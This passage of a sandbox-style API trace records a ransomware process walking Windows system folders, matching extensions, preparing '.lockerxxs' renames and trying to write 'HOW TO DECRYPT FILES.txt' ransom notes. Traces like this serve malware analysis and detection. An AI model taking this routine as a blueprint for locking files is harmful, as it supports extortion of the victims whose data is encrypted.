(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qbo") returned 0 [0165.605] lstrlenA (lpString="*.qbo") returned 5 [0165.605] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qbx") returned 0 [0165.605] lstrlenA (lpString="*.qbx") returned 5 [0165.605] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qba") returned 0 [0165.605] lstrlenA (lpString="*.qba") returned 5 [0165.605] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qby") returned 0 [0165.606] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" [0165.606] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" [0165.606] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs." [0165.606] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs.lockerxxs" [0165.606] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\providerspage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.606] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf64ec67, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf64ec67, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9027e21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa75, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecurityPage.cs", cAlternateFileName="SECURI~1.CS")) returned 1 [0165.606] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.606] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityPage.cs") returned -1 [0165.606] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityPage.cs") returned -1 [0165.606] lstrcmpiA (lpString1="", lpString2="SecurityPage.cs") returned -1 [0165.606] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs") returned="ProvidersPage.cs" [0165.607] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.607] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.607] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.607] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.607] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.607] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.608] CloseHandle (hObject=0xffffffff) returned 0 [0165.608] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="SecurityPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" [0165.608] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs", pszSpec="*.ems") returned 0 [0165.608] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" [0165.608] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" [0165.608] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs." [0165.608] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs.lockerxxs" [0165.608] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\securitypage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.609] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf69af21, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf69af21, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x902a437b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xbdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminPage.cs", cAlternateFileName="WEBADM~1.CS")) returned 1 [0165.609] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.609] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminPage.cs") returned -1 [0165.609] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminPage.cs") returned -1 [0165.609] lstrcmpiA (lpString1="", lpString2="WebAdminPage.cs") returned -1 [0165.609] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\SecurityPage.cs") returned="SecurityPage.cs" [0165.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.609] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.609] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.609] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.609] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.610] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.610] CloseHandle (hObject=0xffffffff) returned 0 [0165.610] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="WebAdminPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" [0165.610] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs", pszSpec="*.ems") returned 0 [0165.610] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" [0165.610] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" [0165.610] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs." [0165.610] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs.lockerxxs" [0165.610] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\webadminpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.611] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf6e71db, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf6e71db, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x902a437b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x339, dwReserved0=0x0, dwReserved1=0x0, cFileName="WizardPage.cs", cAlternateFileName="WIZARD~1.CS")) returned 1 [0165.611] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.611] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WizardPage.cs") returned -1 [0165.611] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WizardPage.cs") returned -1 [0165.611] lstrcmpiA (lpString1="", lpString2="WizardPage.cs") returned -1 [0165.611] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WebAdminPage.cs") returned="WebAdminPage.cs" [0165.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.611] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.611] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.611] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.611] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.612] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.612] CloseHandle (hObject=0xffffffff) returned 0 [0165.612] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="WizardPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" [0165.612] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs", pszSpec="*.ems") returned 0 [0165.612] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" [0165.612] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" [0165.612] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs." [0165.612] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs.lockerxxs" [0165.613] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\WizardPage.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\wizardpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.613] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf6e71db, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf6e71db, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x902a437b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x339, dwReserved0=0x0, dwReserved1=0x0, cFileName="WizardPage.cs", cAlternateFileName="WIZARD~1.CS")) returned 0 [0165.613] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.614] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112dd85c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f497b, dwReserved1=0xc000408, cFileName="amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6", cAlternateFileName="AM1066~1.163")) returned 1 [0165.614] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6") returned -1 [0165.614] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6") returned -1 [0165.614] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.614] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6" [0165.614] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112dd85c, 